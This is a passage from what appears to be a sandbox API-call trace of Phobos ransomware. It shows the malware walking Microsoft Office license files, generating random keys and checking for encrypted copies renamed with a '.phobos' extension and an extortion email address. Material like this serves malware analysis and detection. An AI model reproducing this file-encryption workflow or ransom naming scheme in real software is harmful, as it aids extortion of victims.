hTemplateFile=0x0) returned 0xffffffff [0152.874] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.874] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=27735) returned 1 [0152.875] CloseHandle (hObject=0x564) returned 1 [0152.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ppd.xrm-ms")) returned 0x220 [0152.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.875] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.875] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11671) returned 1 [0152.875] CloseHandle (hObject=0x564) returned 1 [0152.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ul-oob.xrm-ms")) returned 0x220 [0152.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.876] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.876] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11215) returned 1 [0152.876] CloseHandle (hObject=0x564) returned 1 [0152.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-pl.xrm-ms")) returned 0x220 [0152.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.876] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.877] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=27735) returned 1 [0152.877] CloseHandle (hObject=0x564) returned 1 [0152.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ppd.xrm-ms")) returned 0x220 [0152.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.877] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.877] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11671) returned 1 [0152.877] CloseHandle (hObject=0x564) returned 1 [0152.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ul-oob.xrm-ms")) returned 0x220 [0152.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.878] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.878] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11215) returned 1 [0152.878] CloseHandle (hObject=0x564) returned 1 [0152.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-pl.xrm-ms")) returned 0x220 [0152.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.878] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.879] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=27735) returned 1 [0152.879] CloseHandle (hObject=0x564) returned 1 [0152.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ppd.xrm-ms")) returned 0x220 [0152.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.879] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.880] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11671) returned 1 [0152.880] CloseHandle (hObject=0x564) returned 1 [0152.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ul-oob.xrm-ms")) returned 0x220 [0152.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.880] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.880] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11215) returned 1 [0152.881] CloseHandle (hObject=0x564) returned 1 [0152.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-pl.xrm-ms")) returned 0x220 [0152.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.881] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.881] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=27735) returned 1 [0152.881] CloseHandle (hObject=0x564) returned 1 [0152.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ppd.xrm-ms")) returned 0x220 [0152.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.882] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.882] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11671) returned 1 [0152.882] CloseHandle (hObject=0x564) returned 1 [0152.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ul-oob.xrm-ms")) returned 0x220 [0152.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.883] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.883] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11215) returned 1 [0152.883] CloseHandle (hObject=0x564) returned 1 [0152.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-pl.xrm-ms")) returned 0x220 [0152.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.884] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.884] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=27735) returned 1 [0152.885] CloseHandle (hObject=0x564) returned 1 [0152.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms")) returned 0x220 [0152.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.885] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.885] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11671) returned 1 [0152.886] CloseHandle (hObject=0x564) returned 1 [0152.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms")) returned 0x220 [0152.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.886] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.886] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11199) returned 1 [0152.886] CloseHandle (hObject=0x564) returned 1 [0152.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-pl.xrm-ms")) returned 0x220 [0152.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 